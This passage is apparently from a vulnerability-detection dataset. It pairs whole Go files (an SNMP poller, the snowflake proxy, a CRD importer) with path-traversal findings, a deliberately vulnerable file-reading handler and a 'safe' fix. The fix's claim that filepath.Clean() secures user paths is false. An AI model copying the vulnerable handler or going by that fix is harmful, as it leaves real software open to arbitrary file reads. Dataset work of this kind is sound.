cfg.Consistency,\n\t}\n\n\treturn NewSender(conf, batch, cfg.BatchSize, cfg.QueueSize, cfg.Flush, errFn)\n}\n\nfunc addStats(name string, fn statsFunc) {\n\tsLock.Lock()\n\tstatsMap[name] = fn\n\tsLock.Unlock()\n}\n\nfunc getStats() map[string]snmpStats {\n\tm := make(map[string]snmpStats)\n\tsLock.Lock()\n\tfor k, fn := range statsMap {\n\t\tm[k] = fn()\n\t}\n\tsLock.Unlock()\n\treturn m\n}\n\nfunc gather(send Sender, p snmp.Profile, crit snmp.Criteria, mibID string) {\n\tif crit.Freq < 1 {\n\t\tpanic(\"invalid polling frequency for: \" + p.Host)\n\t}\n\tvar sender snmp.Sender\n\tif cfg.Common.Elapsed {\n\t\tsender = func(name string, tags map[string]string, value interface{}, ts snmp.TimeStamp) error {\n\t\t\telapsed := int(ts.Stop.Sub(ts.Start).Nanoseconds() / 1000000)\n\t\t\tvalues := map[string]interface{}{\"value\": value, \"elapsed\": elapsed}\n\t\t\treturn send(name, tags, values, ts.Stop)\n\t\t}\n\t} else {\n\t\tsender = func(name string, tags map[string]string, value interface{}, ts snmp.TimeStamp) error {\n\t\t\tvalues := map[string]interface{}{\"value\": value}\n\t\t\treturn send(name, tags, values, ts.Stop)\n\t\t}\n\t}\n\t// influxdb saves uint64 as a string\n\t// so this is a workaround for now\n\tsender = snmp.IntegerSender(sender)\n\n\tvar stats snmpStats\n\tvar m sync.Mutex\n\n\terrFn := func(err error) {\n\t\tm.Lock()\n\t\tif err == nil {\n\t\t\tstats.GetCnt++\n\t\t} else {\n\t\t\tstats.ErrCnt++\n\t\t\tstats.LastError = err\n\t\t\tstats.LastTime = time.Now()\n\t\t}\n\t\tm.Unlock()\n\t}\n\tname := fmt.Sprintf(\"%s/%s\", p.Host, mibID)\n\taddStats(name, func() snmpStats {\n\t\tm.Lock()\n\t\ts := stats\n\t\tm.Unlock()\n\t\treturn s\n\t})\n\tif err := snmp.Poller(p, crit, sender, errFn, logger); err != nil {\n\t\tlog.Printf(\"error polling host %s: %s\\n\", p.Host, err)\n\t}\n\tquit.Done()\n}\n\n// agentList returns an array of snmp hosts and their associated mib info\nfunc agentList() ([]snmpInfo, error) {\n\tinfo := make([]snmpInfo, 0, len(cfg.Snmp))\n\tfor name, c := range cfg.Snmp {\n\t\tif c.Disabled {\n\t\t\tcontinue\n\t\t}\n\t\tif len(c.Mibs) > 0 {\n\t\t\tfor _, m := range strings.Fields(c.Mibs) {\n\t\t\t\tmib, ok := cfg.Mibs[m]\n\t\t\t\tif !ok {\n\t\t\t\t\treturn info, fmt.Errorf(\"no mib config found for:%s\", m)\n\t\t\t\t}\n\t\t\t\tinfo = append(info, snmpInfo{name, c, mib})\n\t\t\t}\n\t\t\tcontinue\n\t\t}\n\t\tmib, ok := cfg.Mibs[name]\n\t\tif !ok {\n\t\t\tif mib, ok = cfg.Mibs[\"*\"]; !ok {\n\t\t\t\treturn info, fmt.Errorf(\"no mib config found for:%s\", name)\n\t\t\t}\n\t\t}\n\t\tinfo = append(info, snmpInfo{name, c, mib})\n\t}\n\treturn info, nil\n}\n\n// filtered returns a list of all OIDs encountered by\n// polling the specified devices and their respective OIDs\nfunc filtered(a []snmpInfo) []string {\n\tvar wg sync.WaitGroup\n\tcoll := snmp.NewCollector(mibs)\n\tfor _, s := range a {\n\t\tfor _, name := range strings.Fields(s.MIB.Name) {\n\t\t\tfor _, profile := range s.Config.profiles() {\n\t\t\t\twg.Add(1)\n\t\t\t\tgo func(p snmp.Profile, oid string) {\n\t\t\t\t\tif err := coll.Poll(p, oid); err != nil {\n\t\t\t\t\t\tlog.Println(\"poller error:\", err)\n\t\t\t\t\t}\n\t\t\t\t\twg.Done()\n\t\t\t\t}(profile, name)\n\t\t\t}\n\t\t}\n\t}\n\n\twg.Wait()\n\treturn coll.List()\n}\n\n// sampler dumps a single fetch of data from each snmp host/mib\nfunc sampler(agents []snmpInfo) {\n\tvar wg sync.WaitGroup\n\tsender, _ := snmp.DebugSender(nil, nil)\n\tfor _, a := range agents {\n\t\tfor _, profile := range a.Config.profiles() {\n\t\t\tfor _, crit := range criteria(a.Config, a.MIB) {\n\t\t\t\twg.Add(1)\n\t\t\t\tgo func(p snmp.Profile, crit snmp.Criteria) {\n\t\t\t\t\tif err := snmp.Sampler(p, crit, sender); err != nil {\n\t\t\t\t\t\tlog.Printf(\"error sampling host %s: %s\\n\", p.Host, err)\n\t\t\t\t\t}\n\t\t\t\t\twg.Done()\n\t\t\t\t}(profile, crit)\n\t\t\t}\n\t\t}\n\t}\n\twg.Wait()\n}\n\n// dumper creates a json file of parsed mib entries\nfunc dumper(agents []snmpInfo) error {\n\tif len(mibs) == 0 {\n\t\treturn fmt.Errorf(\"error: no MIBs specified\")\n\t}\n\tvar oids []string\n\tif filter {\n\t\toids = filtered(agents)\n\t}\n\treturn snmp.OIDList(mibs, oids, os.Stdout)\n}\n\nfunc main() {\n\tagents, err := agentList()\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tif dump {\n\t\tif err := dumper(agents); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t\treturn\n\t}\n\n\t// Load or generate mib data\n\tif len(cfg.Common.MibFile) == 0 {\n\t\tfmt.Println(\"no mibfile specified\")\n\t\tos.Exit(1)\n\t}\n\tfor _, file := range strings.Fields(cfg.Common.MibFile) {\n\t\tif err := snmp.LoadMIBs(file, mibs); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\tif sample {\n\t\tsampler(agents)\n\t\treturn\n\t}\n\n\tsenders := getSenders()\n\tfor _, a := range agents {\n\t\tsend, ok := senders[a.Name]\n\t\tif !ok {\n\t\t\tsend, ok = senders[\"*\"]\n\t\t\tif !ok {\n\t\t\t\tpanic(\"No sender for: \" + a.Name)\n\t\t\t}\n\t\t}\n\t\tfor _, profile := range a.Config.profiles() {\n\t\t\tfor _, crit := range criteria(a.Config, a.MIB) {\n\t\t\t\tquit.Add(1)\n\t\t\t\tgo gather(send, profile, crit, a.Name)\n\t\t\t}\n\t\t}\n\t}\n\n\tif httpPort > 0 {\n\t\tgo webServer(httpPort)\n\t}\n\tquit.Wait()\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 217, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 217, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 227, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "b8fdc69478f8ffc871818348e304dd214ddda08bc705b05d94d02e549465bfe0", "license": {"spdx": ["BSD-3-Clause"], "repo": "shaneHowearth/snowflake", "path": "proxy-go/snowflake.go", "repo_head_hexsha": "cceb7abc4a0bb526b08aa30d56e9be7c498463d7", "stack_hexsha": "c4975b7559a2689f00517ba688a0a1859feb369d", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 423, "entireCode": "package main\n\nimport (\n\t\"bytes\"\n\t\"crypto/rand\"\n\t\"encoding/base64\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n\t\"sync\"\n\t\"time\"\n\n\t\"git.torproject.org/pluggable-transports/snowflake.git/common/safelog\"\n\t\"github.com/keroserene/go-webrtc\"\n\t\"golang.org/x/net/websocket\"\n)\n\nconst defaultBrokerURL = \"https://snowflake-broker.bamsoftware.com/\"\nconst defaultRelayURL = \"wss://snowflake.bamsoftware.com/\"\nconst defaultSTUNURL = \"stun:stun.l.google.com:19302\"\nconst pollInterval = 5 * time.Second\n\n//amount of time after sending an SDP answer before the proxy assumes the\n//client is not going to connect\nconst dataChannelTimeout = 20 * time.Second\n\nconst readLimit = 100000 //Maximum number of bytes to be read from an HTTP request\n\nvar brokerURL *url.URL\nvar relayURL string\n\nconst (\n\tsessionIDLength = 16\n)\n\nvar (\n\ttokens chan bool\n\tconfig *webrtc.Configuration\n\tclient http.Client\n)\n\nvar remoteIPPatterns = []*regexp.Regexp{\n\t/* IPv4 */\n\tregexp.MustCompile(`(?m)^c=IN IP4 ([\\d.]+)(?:(?:\\/\\d+)?\\/\\d+)?(:? |\\r?\\n)`),\n\t/* IPv6 */\n\tregexp.MustCompile(`(?m)^c=IN IP6 ([0-9A-Fa-f:.]+)(?:\\/\\d+)?(:? |\\r?\\n)`),\n}\n\n// https://tools.ietf.org/html/rfc4566#section-5.7\nfunc remoteIPFromSDP(sdp string) net.IP {\n\tfor _, pattern := range remoteIPPatterns {\n\t\tm := pattern.FindStringSubmatch(sdp)\n\t\tif m != nil {\n\t\t\t// Ignore parsing errors, ParseIP returns nil.\n\t\t\treturn net.ParseIP(m[1])\n\t\t}\n\t}\n\treturn nil\n}\n\ntype webRTCConn struct {\n\tdc *webrtc.DataChannel\n\tpc *webrtc.PeerConnection\n\tpr *io.PipeReader\n\n\tlock sync.Mutex // Synchronization for DataChannel destruction\n\tonce sync.Once // Synchronization for PeerConnection destruction\n}\n\nfunc (c *webRTCConn) Read(b []byte) (int, error) {\n\treturn c.pr.Read(b)\n}\n\nfunc (c *webRTCConn) Write(b []byte) (int, error) {\n\tc.lock.Lock()\n\tdefer c.lock.Unlock()\n\t// log.Printf(\"webrtc Write %d %+q\", len(b), string(b))\n\tlog.Printf(\"Write %d bytes --> WebRTC\", len(b))\n\tif c.dc != nil {\n\t\tc.dc.Send(b)\n\t}\n\treturn len(b), nil\n}\n\nfunc (c *webRTCConn) Close() (err error) {\n\tc.once.Do(func() {\n\t\terr = c.pc.Destroy()\n\t})\n\treturn\n}\n\nfunc (c *webRTCConn) LocalAddr() net.Addr {\n\treturn nil\n}\n\nfunc (c *webRTCConn) RemoteAddr() net.Addr {\n\t//Parse Remote SDP offer and extract client IP\n\tclientIP := remoteIPFromSDP(c.pc.RemoteDescription().Sdp)\n\tif clientIP == nil {\n\t\treturn nil\n\t}\n\treturn &net.IPAddr{IP: clientIP, Zone: \"\"}\n}\n\nfunc (c *webRTCConn) SetDeadline(t time.Time) error {\n\t// nolint: golint\n\treturn fmt.Errorf(\"SetDeadline not implemented\")\n}\n\nfunc (c *webRTCConn) SetReadDeadline(t time.Time) error {\n\t// nolint: golint\n\treturn fmt.Errorf(\"SetReadDeadline not implemented\")\n}\n\nfunc (c *webRTCConn) SetWriteDeadline(t time.Time) error {\n\t// nolint: golint\n\treturn fmt.Errorf(\"SetWriteDeadline not implemented\")\n}\n\nfunc getToken() {\n\t<-tokens\n}\n\nfunc retToken() {\n\ttokens <- true\n}\n\nfunc genSessionID() string {\n\tbuf := make([]byte, sessionIDLength)\n\t_, err := rand.Read(buf)\n\tif err != nil {\n\t\tpanic(err.Error())\n\t}\n\treturn strings.TrimRight(base64.StdEncoding.EncodeToString(buf), \"=\")\n}\n\nfunc limitedRead(r io.Reader, limit int64) ([]byte, error) {\n\tp, err := ioutil.ReadAll(&io.LimitedReader{R: r, N: limit + 1})\n\tif err != nil {\n\t\treturn p, err\n\t} else if int64(len(p)) == limit+1 {\n\t\treturn p[0:limit], io.ErrUnexpectedEOF\n\t}\n\treturn p, err\n}\n\nfunc pollOffer(sid string) *webrtc.SessionDescription {\n\tbroker := brokerURL.ResolveReference(&url.URL{Path: \"proxy\"})\n\ttimeOfNextPoll := time.Now()\n\tfor {\n\t\t// Sleep until we're scheduled to poll again.\n\t\tnow := time.Now()\n\t\ttime.Sleep(timeOfNextPoll.Sub(now))\n\t\t// Compute the next time to poll -- if it's in the past, that\n\t\t// means that the POST took longer than pollInterval, so we're\n\t\t// allowed to do another one immediately.\n\t\ttimeOfNextPoll = timeOfNextPoll.Add(pollInterval)\n\t\tif timeOfNextPoll.Before(now) {\n\t\t\ttimeOfNextPoll = now\n\t\t}\n\n\t\treq, _ := http.NewRequest(\"POST\", broker.String(), bytes.NewBuffer([]byte(sid)))\n\t\treq.Header.Set(\"X-Session-ID\", sid)\n\t\tresp, err := client.Do(req)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"error polling broker: %s\", err)\n\t\t} else {\n\t\t\tdefer resp.Body.Close()\n\t\t\tif resp.StatusCode != http.StatusOK {\n\t\t\t\tlog.Printf(\"broker returns: %d\", resp.StatusCode)\n\t\t\t} else {\n\t\t\t\tbody, err := limitedRead(resp.Body, readLimit)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Printf(\"error reading broker response: %s\", err)\n\t\t\t\t} else {\n\t\t\t\t\treturn webrtc.DeserializeSessionDescription(string(body))\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc sendAnswer(sid string, pc *webrtc.PeerConnection) error {\n\tbroker := brokerURL.ResolveReference(&url.URL{Path: \"answer\"})\n\tbody := bytes.NewBuffer([]byte(pc.LocalDescription().Serialize()))\n\treq, _ := http.NewRequest(\"POST\", broker.String(), body)\n\treq.Header.Set(\"X-Session-ID\", sid)\n\tresp, err := client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif resp.StatusCode != http.StatusOK {\n\t\treturn fmt.Errorf(\"broker returned %d\", resp.StatusCode)\n\t}\n\treturn nil\n}\n\ntype timeoutConn struct {\n\tc net.Conn\n\tt time.Duration\n}\n\nfunc (tc timeoutConn) Read(buf []byte) (int, error) {\n\tif err := tc.c.SetDeadline(time.Now().Add(tc.t)); err != nil {\n\t\tlog.Printf(\"calling SetDeadline in Read returned the following error: %v\", err)\n\t}\n\treturn tc.c.Read(buf)\n}\n\nfunc (tc timeoutConn) Write(buf []byte) (int, error) {\n\tif err := tc.c.SetDeadline(time.Now().Add(tc.t)); err != nil {\n\t\tlog.Printf(\"calling SetDeadline in Write returned the following error: %v\", err)\n\t}\n\treturn tc.c.Write(buf)\n}\n\nfunc (tc timeoutConn) Close() error {\n\treturn tc.c.Close()\n}\n\nfunc CopyLoopTimeout(c1 net.Conn, c2 net.Conn, timeout time.Duration) {\n\ttc1 := timeoutConn{c: c1, t: timeout}\n\ttc2 := timeoutConn{c: c2, t: timeout}\n\tvar wg sync.WaitGroup\n\tcopyer := func(dst io.ReadWriteCloser, src io.ReadWriteCloser) {\n\t\tdefer wg.Done()\n\t\tif _, err := io.Copy(dst, src); err != nil {\n\t\t\tlog.Printf(\"io.Copy inside CopyLoopTimeout generated an error: %v\", err)\n\t\t}\n\t\tdst.Close()\n\t\tsrc.Close()\n\t}\n\twg.Add(2)\n\tgo copyer(tc1, tc2)\n\tgo copyer(tc2, tc1)\n\twg.Wait()\n}\n\n// We pass conn.RemoteAddr() as an additional parameter, rather than calling\n// conn.RemoteAddr() inside this function, as a workaround for a hang that\n// otherwise occurs inside of conn.pc.RemoteDescription() (called by\n// RemoteAddr). https://bugs.torproject.org/18628#comment:8\nfunc datachannelHandler(conn *webRTCConn, remoteAddr net.Addr) {\n\tdefer conn.Close()\n\tdefer retToken()\n\n\tu, err := url.Parse(relayURL)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid relay url: %s\", err)\n\t}\n\n\t// Retrieve client IP address\n\tif remoteAddr != nil {\n\t\t// Encode client IP address in relay URL\n\t\tq := u.Query()\n\t\tclientIP := remoteAddr.String()\n\t\tq.Set(\"client_ip\", clientIP)\n\t\tu.RawQuery = q.Encode()\n\t} else {\n\t\tlog.Printf(\"no remote address given in websocket\")\n\t}\n\n\twsConn, err := websocket.Dial(u.String(), \"\", relayURL)\n\tif err != nil {\n\t\tlog.Printf(\"error dialing relay: %s\", err)\n\t\treturn\n\t}\n\tlog.Printf(\"connected to relay\")\n\tdefer wsConn.Close()\n\twsConn.PayloadType = websocket.BinaryFrame\n\tCopyLoopTimeout(conn, wsConn, time.Minute)\n\tlog.Printf(\"datachannelHandler ends\")\n}\n\n// Create a PeerConnection from an SDP offer. Blocks until the gathering of ICE\n// candidates is complete and the answer is available in LocalDescription.\n// Installs an OnDataChannel callback that creates a webRTCConn and passes it to\n// datachannelHandler.\nfunc makePeerConnectionFromOffer(sdp *webrtc.SessionDescription, config *webrtc.Configuration, dataChan chan struct{}) (*webrtc.PeerConnection, error) {\n\tpc, err := webrtc.NewPeerConnection(config)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"accept: NewPeerConnection: %s\", err)\n\t}\n\tpc.OnNegotiationNeeded = func() {\n\t\tpanic(\"OnNegotiationNeeded\")\n\t}\n\tpc.OnDataChannel = func(dc *webrtc.DataChannel) {\n\t\tlog.Println(\"OnDataChannel\")\n\t\tclose(dataChan)\n\n\t\tpr, pw := io.Pipe()\n\t\tconn := &webRTCConn{pc: pc, dc: dc, pr: pr}\n\n\t\tdc.OnOpen = func() {\n\t\t\tlog.Println(\"OnOpen channel\")\n\t\t}\n\t\tdc.OnClose = func() {\n\t\t\tconn.lock.Lock()\n\t\t\tdefer conn.lock.Unlock()\n\t\t\tlog.Println(\"OnClose channel\")\n\t\t\tconn.dc = nil\n\t\t\tpc.DeleteDataChannel(dc)\n\t\t\tpw.Close()\n\t\t}\n\t\tdc.OnMessage = func(msg []byte) {\n\t\t\tlog.Printf(\"OnMessage <--- %d bytes\", len(msg))\n\t\t\tvar n int\n\t\t\tn, err = pw.Write(msg)\n\t\t\tif err != nil {\n\t\t\t\tif inerr := pw.CloseWithError(err); inerr != nil {\n\t\t\t\t\tlog.Printf(\"close with error generated an error: %v\", inerr)\n\t\t\t\t}\n\t\t\t}\n\t\t\tif n != len(msg) {\n\t\t\t\tpanic(\"short write\")\n\t\t\t}\n\t\t}\n\n\t\tgo datachannelHandler(conn, conn.RemoteAddr())\n\t}\n\n\terr = pc.SetRemoteDescription(sdp)\n\tif err != nil {\n\t\tif inerr := pc.Destroy(); inerr != nil {\n\t\t\tlog.Printf(\"unable to call pc.Destroy after pc.SetRemoteDescription with error: %v\", inerr)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"accept: SetRemoteDescription: %s\", err)\n\t}\n\tlog.Println(\"sdp offer successfully received.\")\n\n\tlog.Println(\"Generating answer...\")\n\tanswer, err := pc.CreateAnswer()\n\t// blocks on ICE gathering. we need to add a timeout if needed\n\t// not putting this in a separate go routine, because we need\n\t// SetLocalDescription(answer) to be called before sendAnswer\n\tif err != nil {\n\t\tif inerr := pc.Destroy(); inerr != nil {\n\t\t\tlog.Printf(\"ICE gathering has generated an error when calling pc.Destroy: %v\", inerr)\n\t\t}\n\t\treturn nil, err\n\t}\n\n\tif answer == nil {\n\t\tif err = pc.Destroy(); err != nil {\n\t\t\tlog.Printf(\"pc.destroy when gathering ICE candidates returned : %v\", err)\n\t\t}\n\t\treturn nil, fmt.Errorf(\"failed gathering ICE candidates\")\n\t}\n\n\terr = pc.SetLocalDescription(answer)\n\tif err != nil {\n\t\tif err = pc.Destroy(); err != nil {\n\t\t\tlog.Printf(\"pc.destroy after setting local description returned : %v\", err)\n\t\t}\n\t\treturn nil, err\n\t}\n\n\treturn pc, nil\n}\n\nfunc runSession(sid string) {\n\toffer := pollOffer(sid)\n\tif offer == nil {\n\t\tlog.Printf(\"bad offer from broker\")\n\t\tretToken()\n\t\treturn\n\t}\n\tdataChan := make(chan struct{})\n\tpc, err := makePeerConnectionFromOffer(offer, config, dataChan)\n\tif err != nil {\n\t\tlog.Printf(\"error making WebRTC connection: %s\", err)\n\t\tretToken()\n\t\treturn\n\t}\n\terr = sendAnswer(sid, pc)\n\tif err != nil {\n\t\tlog.Printf(\"error sending answer to client through broker: %s\", err)\n\t\tif inerr := pc.Destroy(); inerr != nil {\n\t\t\tlog.Printf(\"error calling destroy: %v\", inerr)\n\t\t}\n\t\tretToken()\n\t\treturn\n\t}\n\t// Set a timeout on peerconnection. If the connection state has not\n\t// advanced to PeerConnectionStateConnected in this time,\n\t// destroy the peer connection and return the token.\n\tselect {\n\tcase <-dataChan:\n\t\tlog.Println(\"Connection successful.\")\n\tcase <-time.After(dataChannelTimeout):\n\t\tlog.Println(\"Timed out waiting for client to open data channel.\")\n\t\tif err := pc.Destroy(); err != nil {\n\t\t\tlog.Printf(\"error calling Destroy: %v\", err)\n\t\t}\n\t\tretToken()\n\t}\n}\n\nfunc main() {\n\tvar capacity uint\n\tvar stunURL string\n\tvar logFilename string\n\tvar rawBrokerURL string\n\n\tflag.UintVar(&capacity, \"capacity\", 10, \"maximum concurrent clients\")\n\tflag.StringVar(&rawBrokerURL, \"broker\", defaultBrokerURL, \"broker URL\")\n\tflag.StringVar(&relayURL, \"relay\", defaultRelayURL, \"websocket relay URL\")\n\tflag.StringVar(&stunURL, \"stun\", defaultSTUNURL, \"stun URL\")\n\tflag.StringVar(&logFilename, \"log\", \"\", \"log filename\")\n\tflag.Parse()\n\n\tvar logOutput io.Writer = os.Stderr\n\tlog.SetFlags(log.LstdFlags | log.LUTC)\n\tif logFilename != \"\" {\n\t\tf, err := os.OpenFile(logFilename, os.O_CREATE|os.O_WRONLY|os.O_APPEND, 0600)\n\t\tif err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tdefer f.Close()\n\t\tlogOutput = io.MultiWriter(os.Stderr, f)\n\t}\n\t//We want to send the log output through our scrubber first\n\tlog.SetOutput(&safelog.LogScrubber{Output: logOutput})\n\n\tlog.Println(\"starting\")\n\n\tvar err error\n\tbrokerURL, err = url.Parse(rawBrokerURL)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid broker url: %s\", err)\n\t}\n\t_, err = url.Parse(stunURL)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid stun url: %s\", err)\n\t}\n\t_, err = url.Parse(relayURL)\n\tif err != nil {\n\t\tlog.Fatalf(\"invalid relay url: %s\", err)\n\t}\n\n\tconfig = webrtc.NewConfiguration(webrtc.OptionIceServer(stunURL))\n\ttokens = make(chan bool, capacity)\n\tfor i := uint(0); i < capacity; i++ {\n\t\ttokens <- true\n\t}\n\n\tfor {\n\t\tgetToken()\n\t\tsessionID := genSessionID()\n\t\trunSession(sessionID)\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 417, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 417, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 423, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "ed739ab934d0503e8ddfb2bf8b9d778f0dccc885e01cb44a64e2eda316bb1870", "license": {"spdx": ["Apache-2.0"], "repo": "kmodules/crd-importer", "path": "main.go", "repo_head_hexsha": "db8f7067e6bfd97228d6ba9dc8702dc16d2ce0da", "stack_hexsha": "ae6dcf5d98b94915359df0ba5773e266ae7d3380", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 91, "entireCode": "/*\nCopyright AppsCode Inc. and Contributors\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t\"bytes\"\n\tgoflag \"flag\"\n\t\"fmt\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"sort\"\n\n\tmeta_util \"kmodules.xyz/client-go/meta\"\n\t\"kmodules.xyz/client-go/tools/parser\"\n\n\tflag \"github.com/spf13/pflag\"\n\t\"k8s.io/apiextensions-apiserver/pkg/apis/apiextensions\"\n\tcrdv1 \"k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1\"\n\tcrdv1beta1 \"k8s.io/apiextensions-apiserver/pkg/apis/apiextensions/v1beta1\"\n\t\"k8s.io/apimachinery/pkg/apis/meta/v1/unstructured\"\n\t\"k8s.io/apimachinery/pkg/runtime/schema\"\n\t\"k8s.io/apimachinery/pkg/util/sets\"\n\t\"sigs.k8s.io/yaml\"\n)\n\n/*\ngo run main.go --input=/home/tamal/go/src/k8s.io/api/crds\ngo run main.go --input=/home/tamal/go/src/k8s.io/kube-aggregator/crds\n\ngo run main.go --input=/home/tamal/go/src/github.com/coreos/prometheus-operator/example/prometheus-operator-crd\ngo run main.go --input=/home/tamal/go/src/github.com/jetstack/cert-manager/deploy/crds\ngo run main.go --input=/home/tamal/go/src/github.com/appscode/voyager/api/crds\ngo run main.go --input=/home/tamal/go/src/stash.appscode.dev/apimachinery/crds\ngo run main.go --input=/home/tamal/go/src/kmodules.xyz/custom-resources/crds\ngo run main.go --input=/home/tamal/go/src/kubedb.dev/apimachinery/crds\ngo run main.go --input=/home/tamal/go/src/kubevault.dev/operator/api/crds\ngo run main.go --input=/home/tamal/go/src/go.searchlight.dev/grafana-operator/crds\n\ngo run main.go --input=/home/tamal/go/src/sigs.k8s.io/application/config/crd/bases\n*/\n\nvar (\n\tcrdstore = map[schema.GroupKind]map[string]*unstructured.Unstructured{}\n\tempty = struct{}{}\n\n\tallowedGroups = sets.NewString()\n\tallowedGKs = map[schema.GroupKind]struct{}{}\n)\n\nfunc main() {\n\tvar input []string\n\tvar out string\n\tvar outputYAML string\n\tvar crdVersion = \"v1\"\n\tvar gks []string\n\tvar groups []string\n\n\tflag.StringSliceVar(&input, \"input\", input, \"List of crd urls or dir/files\")\n\tflag.StringVar(&out, \"out\", out, \"Directory where files to be stored\")\n\tflag.StringVar(&outputYAML, \"output-yaml\", outputYAML, \"Output a single YAML filename\")\n\tflag.StringVar(&crdVersion, \"v\", crdVersion, \"CRD version v1/v1beta1\")\n\tflag.StringSliceVarP(&groups, \"group\", \"g\", groups, \"List of groups to import\")\n\tflag.StringSliceVar(&gks, \"gk\", gks, \"List of kind.group to import\")\n\tflag.CommandLine.AddGoFlagSet(goflag.CommandLine)\n\tflag.Parse()\n\n\tallowedGroups.Insert(groups...)\n\n\tfor _, gk := range gks {\n\t\tallowedGKs[schema.ParseGroupKind(gk)] = empty\n\t}\n\n\terr := os.MkdirAll(out, 0755)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tfor _, location := range input {\n\t\terr := processLocation(location)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}\n\n\toutputCRDs := make([]CRD, 0, len(crdstore))\n\tfor gk := range crdstore {\n\t\tif allowed(gk) {\n\t\t\tdata, filename, err := WriteCRD(out, gk, crdVersion)\n\t\t\tif err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t\tif outputYAML != \"\" {\n\t\t\t\toutputCRDs = append(outputCRDs, CRD{\n\t\t\t\t\tGK: gk,\n\t\t\t\t\tDef: data,\n\t\t\t\t})\n\t\t\t} else {\n\t\t\t\terr = ioutil.WriteFile(filename, data, 0644)\n\t\t\t\tif err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tif outputYAML != \"\" {\n\t\tsort.Slice(outputCRDs, func(i, j int) bool {\n\t\t\tif outputCRDs[i].GK.Group == outputCRDs[j].GK.Group {\n\t\t\t\treturn outputCRDs[i].GK.Kind < outputCRDs[j].GK.Kind\n\t\t\t}\n\t\t\treturn outputCRDs[i].GK.Group < outputCRDs[j].GK.Group\n\t\t})\n\n\t\tvar buf bytes.Buffer\n\t\tfor i, crd := range outputCRDs {\n\t\t\tif i > 0 {\n\t\t\t\tbuf.WriteString(\"\\n---\\n\")\n\t\t\t}\n\t\t\tbuf.Write(crd.Def)\n\t\t}\n\t\terr = ioutil.WriteFile(filepath.Join(out, outputYAML), buf.Bytes(), 0644)\n\t\tif err != nil 